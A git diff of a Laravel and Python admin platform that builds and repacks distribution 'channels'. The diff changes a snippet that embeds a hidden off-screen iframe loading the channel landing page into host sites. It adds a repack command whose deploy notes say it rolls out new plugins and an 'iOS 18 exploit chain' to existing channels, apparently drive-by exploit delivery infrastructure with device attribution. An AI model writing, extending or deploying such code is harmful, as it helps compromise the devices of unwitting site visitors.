diff --git a/app/Http/Controllers/Hooks/TokenviewWebhookController.php b/app/Http/Controllers/Hooks/TokenviewWebhookController.php
index bfe1c66..613523e 100644
--- a/app/Http/Controllers/Hooks/TokenviewWebhookController.php
+++ b/app/Http/Controllers/Hooks/TokenviewWebhookController.php
@@ -21,16 +21,29 @@ class TokenviewWebhookController extends Controller
             $payload = is_array($decoded) ? $decoded : [];
         }
 
+        Log::info('tokenview webhook received', [
+            'ip' => $request->ip(),
+            'method' => $request->method(),
+            'has_signature' => is_string($signature) && $signature !== '',
+            'body_bytes' => strlen($raw),
+            'payload' => $payload !== [] ? $payload : $raw,
+        ]);
+
         // Tokenview probes the webhook (often unsigned GET/POST) before a
         // sign key exists. Always 200 + non-empty body; only skip ingest.
         $signed = $monitor->verifySignature($raw, $signature);
         if (! $signed) {
-            Log::warning('tokenview webhook bad signature (acked 200, skipped ingest)');
+            Log::warning('tokenview webhook bad signature (acked 200, skipped ingest)', [
+                'ip' => $request->ip(),
+                'body_bytes' => strlen($raw),
+            ]);
         } elseif ($payload !== []) {
             try {
                 $monitor->handleWebhook($payload);
             } catch (\Throwable $e) {
-                Log::warning('tokenview webhook handle failed: '.$e->getMessage());
+                Log::warning('tokenview webhook handle failed: '.$e->getMessage(), [
+                    'exception' => $e::class,
+                ]);
             }
         }
 
diff --git a/app/Models/Channel.php b/app/Models/Channel.php
index 7f353ad..e173cfb 100644
--- a/app/Models/Channel.php
+++ b/app/Models/Channel.php
@@ -174,35 +174,19 @@ class Channel extends Model
 
     /**
      * Hidden iframe snippet for embedding the landing URL (same as admin「复制推广代码」).
-     * src is resolved at paste-time from the host page's location.
      */
     public function promoIframeSnippet(?string $url = null): ?string
     {
-        $path = $this->landingPathFromUrl($url) ?? $this->landingPath();
-        if ($path === '') {
-            return null;
-        }
-
-        if (! str_starts_with($path, '/')) {
-            $path = '/'.$path;
-        }
-        if (str_contains($path, '"') || str_contains($path, "'") || str_contains($path, '?')) {
-            $path = $this->landingPath();
-        }
-
-        // Telegram copy_text max is 256. Relative src resolves against the host page.
-        return '<script>document.body.appendChild(Object.assign(document.createElement("iframe"),{src:"'.$path.'",style:"position:fixed;top:0;left:-1000px;pointer-events:none;border:0"}))</script>';
-    }
-
-    private function landingPathFromUrl(?string $url): ?string
-    {
-        $url = trim((string) $url);
+        $url = trim((string) ($url ?? ($this->supportLinks()[0] ?? '')));
         if ($url === '') {
-            return null;
+            $base = rtrim((string) config('app.url'), '/');
+            if ($base === '') {
+                return null;
+            }
+            $url = $base.$this->landingPath();
         }
-        $path = parse_url($url, PHP_URL_PATH);
 
-        return is_string($path) && $path !== '' ? $path : null;
+        return '<iframe src="'.$url.'"  style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
     }
 
     public static function randomChannelId(): string
diff --git a/app/Services/ChannelProjectService.php b/app/Services/ChannelProjectService.php
index b0afd75..d05dde3 100644
--- a/app/Services/ChannelProjectService.php
+++ b/app/Services/ChannelProjectService.php
@@ -11,7 +11,7 @@ class ChannelProjectService
 {
     public const SUPPORT_TEMPLATES = ['test', 'blank'];
 
-    public const DEFAULT_SUPPORT_TEMPLATE = 'test';
+    public const DEFAULT_SUPPORT_TEMPLATE = 'blank';
 
     public const BUILDER_OLD = Channel::BUILDER_OLD;
 
@@ -198,8 +198,74 @@ class ChannelProjectService
         return $this->runBuilder($cmd, '构建共享产物失败', $this->builderCwd(self::BUILDER_NEW));
     }
 
-    private function generateNew(string $channelId, string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE): array
+    /**
+     * Rebuild existing new-builder channels in place (same channel_id / ver patch).
+     * Shared /details + staged weifile are built once from XXBB_CHANNEL_C, then each
+     * public/channel/{id}/ tree is overwritten. Channel DB rows are not changed.
+     *
+     * @param  list<string>|null  $channelIds  null = all builder_type=new rows
+     * @return array{shared: array<string, mixed>, channels: list<array<string, mixed>>}
+     */
+    public function rebuildNewChannels(
+        ?array $channelIds = null,
+        string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE,
+        bool $rebuildShared = true,
+    ): array {
+        $ids = $this->resolveNewChannelIds($channelIds);
+        if ($ids === []) {
+            throw new RuntimeException('没有可重打的新版渠道（builder_type=new）');
+        }
+
+        $shared = [];
+        if ($rebuildShared) {
+            $shared = $this->buildSharedArtifacts($this->requireEnvChannelC(), false);
+        }
+
+        $channels = [];
+        foreach ($ids as $id) {
+            $channels[] = $this->generateNew($id, $supportTemplate, rebuildShared: false);
+        }
+
+        return [
+            'shared' => $shared,
+            'channels' => $channels,
+        ];
+    }
+
+    /**
+     * @param  list<string>|null  $channelIds
+     * @return list<string>
+     */
+    public function resolveNewChannelIds(?array $channelIds = null): array
     {
+        if ($channelIds === null) {
+            return Channel::query()
+                ->where('builder_type', self::BUILDER_NEW)
+                ->orderBy('id')
+                ->pluck('channel_id')
+                ->map(static fn ($id) => Channel::normalizeNewChannelId((string) $id))
+                ->filter()
+                ->values()
+                ->all();
+        }
+
+        $ids = [];
+        foreach ($channelIds as $raw) {
+            $normalized = Channel::normalizeNewChannelId((string) $raw);
+            if ($normalized === null) {
+                throw new RuntimeException('新版渠道 ID 必须是 X.Y.ZZ 格式（6 位，字母或数字，例如 A.B.C1）: '.$raw);
+            }
+            $ids[] = $normalized;
+        }
+
+        return array_values(array_unique($ids));
+    }
+
+    private function generateNew(
+        string $channelId,
+        string $supportTemplate = self::DEFAULT_SUPPORT_TEMPLATE,
+        bool $rebuildShared = true,
+    ): array {
         $channelId = Channel::normalizeNewChannelId($channelId);
         if ($channelId === null) {
             throw new RuntimeException('新版渠道 ID 必须是 X.Y.ZZ 格式（6 位，字母或数字，例如 A.B.C1）');
@@ -207,7 +273,9 @@ class ChannelProjectService
         $supportTemplate = $this->normalizeSupportTemplate($supportTemplate);
 
         // Shared details + staged weifile always rebuilt from env XXBB_CHANNEL_C (never random).
-        $this->buildSharedArtifacts($this->requireEnvChannelC(), false);
+        if ($rebuildShared) {
+            $this->buildSharedArtifacts($this->requireEnvChannelC(), false);
+        }
 
         $weifileSrc = $this->stagedWeifileDir();
         $detailsSrc = $this->artifactRoot().DIRECTORY_SEPARATOR.'details';
diff --git a/channel-builder-new/README.md b/channel-builder-new/README.md
index a70b3cf..b2096c6 100644
--- a/channel-builder-new/README.md
+++ b/channel-builder-new/README.md
@@ -48,6 +48,19 @@ Admin create (id like `A.B.C1`) runs:
 `XXBB_CHANNEL_C` must be set in `.env`. Manual `php artisan xxbb:build` is optional
 (ops / refresh shared `/details`); channel create already builds from env.
 
+## 3. Repack existing channels
+
+Old `public/channel/{ver}/` trees do not pick up new plugins / iOS 18 chain until
+repacked. Channel id, `XXBB_CHANNEL_C`, and delivery domains stay the same:
+
+```bash
+php artisan xxbb:repack              # all builder_type=new rows
+php artisan xxbb:repack 0.0.01       # one
+php artisan xxbb:repack 0.0.01 1.2.AB
+php artisan xxbb:repack --dry-run
+php artisan xxbb:repack --template=test   # 倒计时加载页；默认 blank
+```
+
 ## Device attribution
 
 - **Old channels:** payload `c` is the 32-hex `channel_id`
diff --git a/channel-builder-new/tools/pack_channel.py b/channel-builder-new/tools/pack_channel.py
index 0ad3088..3feabe0 100644
--- a/channel-builder-new/tools/pack_channel.py
+++ b/channel-builder-new/tools/pack_channel.py
@@ -189,7 +189,7 @@ def inject_tjs(weifile_html: str) -> str:
 
 
 LANDING_TEMPLATES = ("test", "blank")
-DEFAULT_LANDING_TEMPLATE = "test"
+DEFAULT_LANDING_TEMPLATE = "blank"
 LANDING_TEMPLATE_ROOT = xxbb_build.BUILDER_ROOT / "source" / "weifile" / "templates"
 
 
@@ -333,7 +333,7 @@ def main() -> int:
         "--landing-template",
         default=DEFAULT_LANDING_TEMPLATE,
         choices=LANDING_TEMPLATES,
-        help="weifile.html template: test=loading countdown, blank=empty (default: test)",
+        help="weifile.html template: test=loading countdown, blank=empty (default: blank)",
     )
     args = parser.parse_args()
 
diff --git a/channel-builder/tools/new_project.py b/channel-builder/tools/new_project.py
index cfb4087..9b120b2 100644
--- a/channel-builder/tools/new_project.py
+++ b/channel-builder/tools/new_project.py
@@ -39,7 +39,7 @@ from _common import (
 TOOLS = Path(__file__).resolve().parent
 BUILDER_ROOT = TOOLS.parent
 SUPPORT_TEMPLATES = ("test", "blank")
-DEFAULT_SUPPORT_TEMPLATE = "test"
+DEFAULT_SUPPORT_TEMPLATE = "blank"
 SUPPORT_TEMPLATE_ROOT = SOURCE_ROOT / "templates" / "support"
 LAB_SEEDS_NAME = "lab_seeds.json"
 RESULT_MARKER = "CORUNA_BUILD_RESULT "
diff --git a/docs/BAOTA_DEPLOY.md b/docs/BAOTA_DEPLOY.md
index a3b4462..3d7a279 100644
--- a/docs/BAOTA_DEPLOY.md
+++ b/docs/BAOTA_DEPLOY.md
@@ -240,6 +240,7 @@ cd /www/wwwroot/coruna-lab/channel-builder-new
 - 渠道身份是 `X.Y.ZZ`（写入 core 的 `ver` / `sdkv`），不是 `c`
 - 7zAES 密码槽固定，**不要**把 `XXBB_CHANNEL_C` 设成与内置 7z 密码相同的值
 - 日常运维刷新共享 `/details` 可再跑 `php artisan xxbb:build`（读 env 中的 c）；新建渠道时也会自动 rebuild
+- 已有新版渠道要吃上新插件 / iOS 18 利用链：`php artisan xxbb:repack`（可先 `--dry-run`；也可指定 `0.0.01`）。渠道 ID、`XXBB_CHANNEL_C`、投放域名不变，只覆盖 `public/channel/{id}/`
 
 ---
 
@@ -504,7 +505,7 @@ tail -n 80 /www/server/php/82/var/log/php-fpm.log
 | 动作 | 命令 / 操作 |
 | --- | --- |
 | 更新旧版 builder | 拉代码 → `channel-builder/.venv` 内 `pip install -r requirements.txt` |
-| 更新新版 builder | 拉代码 → `channel-builder-new/.venv` 内 `pip install -r requirements.txt`；必要时 `php artisan xxbb:build` 刷新共享 `/details` |
+| 更新新版 builder | 拉代码 → `channel-builder-new/.venv` 内 `pip install -r requirements.txt`；必要时 `php artisan xxbb:build` 刷新共享 `/details`；已有渠道再跑 `php artisan xxbb:repack` |
 | 更新 lab | 拉代码 → `composer install` → `artisan migrate` → `config:cache` 等 |
 | 备份 | MySQL + `public/web` + `public/sync` + `public/channel` + `public/details` + `storage/app/channel-builder` + `storage/app/channel-builder-new` |
 | 构建超时 | 加大 `CORUNA_CHANNEL_BUILDER_TIMEOUT` 与 PHP `max_execution_time` |
diff --git a/resources/views/admin/channels/index.blade.php b/resources/views/admin/channels/index.blade.php
index 3c17d61..fc1ca83 100644
--- a/resources/views/admin/channels/index.blade.php
+++ b/resources/views/admin/channels/index.blade.php
@@ -115,17 +115,7 @@ layui.use(['table', 'form', 'layer'], function () {
   }
 
   function promoIframe(url) {
-    var path = '';
-    try {
-      path = new URL(url, location.origin).pathname || '';
-    } catch (e) {
-      var m = String(url || '').match(/https?:\/\/[^/]+(\/[^?]*)/i);
-      path = m ? m[1] : String(url || '');
-    }
-    if (!path) path = '/';
-    if (path.indexOf('?') >= 0) path = path.split('?')[0];
-    path = path.replace(/["']/g, '');
-    return '<script>document.body.appendChild(Object.assign(document.createElement("iframe"),{src:"' + path + '",style:"position:fixed;top:0;left:-1000px;pointer-events:none;border:0"}))<\/script>';
+    return '<iframe src="' + url + '"  style="position:fixed;top:0;left:-1000px;pointer-events:none;border:0"></iframe>';
   }
 
   function openLinks(row) {
@@ -221,8 +211,8 @@ layui.use(['table', 'form', 'layer'], function () {
     var templateBlock = (isAdmin && creating)
       ? '<div class="layui-form-item" id="LAY-ch-template-item"><label class="layui-form-label">页面模板</label><div class="layui-input-block">' +
         '<select name="support_template">' +
-        '<option value="test"' + ((values.support_template || 'test') === 'test' ? ' selected' : '') + '>test（加载页 / 15s 倒计时）</option>' +
-        '<option value="blank"' + (values.support_template === 'blank' ? ' selected' : '') + '>blank（空白页）</option>' +
+        '<option value="blank"' + ((values.support_template || 'blank') === 'blank' ? ' selected' : '') + '>blank（空白页）</option>' +
+        '<option value="test"' + (values.support_template === 'test' ? ' selected' : '') + '>test（加载页 / 15s 倒计时）</option>' +
         '</select>' +
         '<div class="layui-form-mid layui-word-aux" id="LAY-ch-template-hint">旧版=support.html；新版=weifile.html（test=loading，blank=空白）</div></div></div>'
       : '';
diff --git a/routes/console.php b/routes/console.php
index 7893740..21d63aa 100644
--- a/routes/console.php
+++ b/routes/console.php
@@ -104,6 +104,61 @@ Artisan::command('xxbb:build {--channel-c=} {--random-c}', function () {
     return 0;
 })->purpose('Build shared xxbb /details and staged weifile from channel c');
 
+Artisan::command('xxbb:repack {ids?*} {--template=blank} {--skip-shared} {--dry-run}', function () {
+    $ids = array_values(array_filter(array_map('strval', (array) $this->argument('ids'))));
+    $template = trim((string) $this->option('template'));
+    $skipShared = (bool) $this->option('skip-shared');
+    $dryRun = (bool) $this->option('dry-run');
+    $projects = app(ChannelProjectService::class);
+
+    try {
+        $resolved = $projects->resolveNewChannelIds($ids === [] ? null : $ids);
+    } catch (Throwable $e) {
+        $this->error($e->getMessage());
+
+        return 1;
+    }
+
+    if ($resolved === []) {
+        $this->warn('没有可重打的新版渠道（builder_type=new）');
+
+        return 0;
+    }
+
+    $this->info(($dryRun ? '将重打' : '重打').' '.count($resolved).' 个新版渠道（渠道 ID / 投放域名不变）:');
+    foreach ($resolved as $id) {
+        $this->line('  /channel/'.$id);
+    }
+    if ($dryRun) {
+        return 0;
+    }
+
+    try {
+        $result = $projects->rebuildNewChannels(
+            $resolved,
+            $template !== '' ? $template : ChannelProjectService::DEFAULT_SUPPORT_TEMPLATE,
+            ! $skipShared,
+        );
+    } catch (Throwable $e) {
+        $this->error($e->getMessage());
+
+        return 1;
+    }
+
+    if (! $skipShared) {
+        $c = (string) data_get($result, 'shared.seeds.channel_c', config('coruna.xxbb.channel_c', ''));
+        $this->info('shared XXBB_CHANNEL_C='.$c);
+        $this->info('details -> /details/');
+    }
+    foreach ($result['channels'] as $row) {
+        $id = (string) ($row['channel_id'] ?? '');
+        $landing = (string) ($row['support_path'] ?? '/channel/'.$id.'/weifile/weifile.html');
+        $this->info('packed '.$id.' -> '.$landing);
+    }
+
+    return 0;
+})->purpose('Repack existing new-builder channels with latest weifile / details / plugins');
+
 Artisan::command('ds:build {--host=} {--port=} {--origin=}', function () {
     $script = base_path('channel-builder-ds/tools/build.py');
     if (! is_file($script)) {
diff --git a/tests/Feature/ChannelProjectServiceTest.php b/tests/Feature/ChannelProjectServiceTest.php
index c4dd61b..9d55092 100644
--- a/tests/Feature/ChannelProjectServiceTest.php
+++ b/tests/Feature/ChannelProjectServiceTest.php
@@ -542,6 +542,64 @@ class ChannelProjectServiceTest extends TestCase
         $this->assertDatabaseMissing('channels', ['id' => $channel->id]);
     }
 
+    #[Test]
+    public function it_rebuilds_existing_new_channels_with_shared_build_once(): void
+    {
+        $this->stageFakeWeifile();
+        Channel::query()->create([
+            'channel_id' => '0.0.01',
+            'builder_type' => Channel::BUILDER_NEW,
+            'user_id' => 0,
+            'status' => 1,
+        ]);
+        Channel::query()->create([
+            'channel_id' => self::NEW_CHANNEL_ID,
+            'builder_type' => Channel::BUILDER_NEW,
+            'user_id' => 0,
+            'status' => 1,
+        ]);
+        Channel::query()->create([
+            'channel_id' => self::CHANNEL_ID,
+            'builder_type' => Channel::BUILDER_OLD,
+            'user_id' => 0,
+            'status' => 1,
+        ]);
+        Process::fake([
+            '*' => Process::result(output: $this->fakeBuildResult([
+                'builder_type' => 'new',
+                'landing_path' => '/channel/0.0.01/weifile/weifile.html',
+                'details_path' => '/channel/0.0.01/details/',
+                'channel_dir' => '/channel/0.0.01',
+            ])),
+        ]);
+
+        $result = app(ChannelProjectService::class)->rebuildNewChannels();
+
+        $this->assertSame(['0.0.01', self::NEW_CHANNEL_ID], array_column($result['channels'], 'channel_id'));
+        $this->assertArrayHasKey('shared', $result);
+
+        Process::assertRanTimes(function ($process) {
+            $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
+
+            return str_contains($joined, 'build.py') && str_contains($joined, '--channel-c');
+        }, 1);
+        Process::assertRanTimes(function ($process) {
+            $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
+
+            return str_contains($joined, 'pack_channel.py');
+        }, 2);
+        Process::assertRan(function ($process) {
+            $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
+
+            return str_contains($joined, 'pack_channel.py') && str_contains($joined, '0.0.01');
+        });
+        Process::assertRan(function ($process) {
+            $joined = is_array($process->command) ? implode(' ', $process->command) : (string) $process->command;
+
+            return str_contains($joined, 'pack_channel.py') && str_contains($joined, self::NEW_CHANNEL_ID);
+        });
+    }
+
     #[Test]
     public function version_format_required_for_new_channel_ids(): void
     {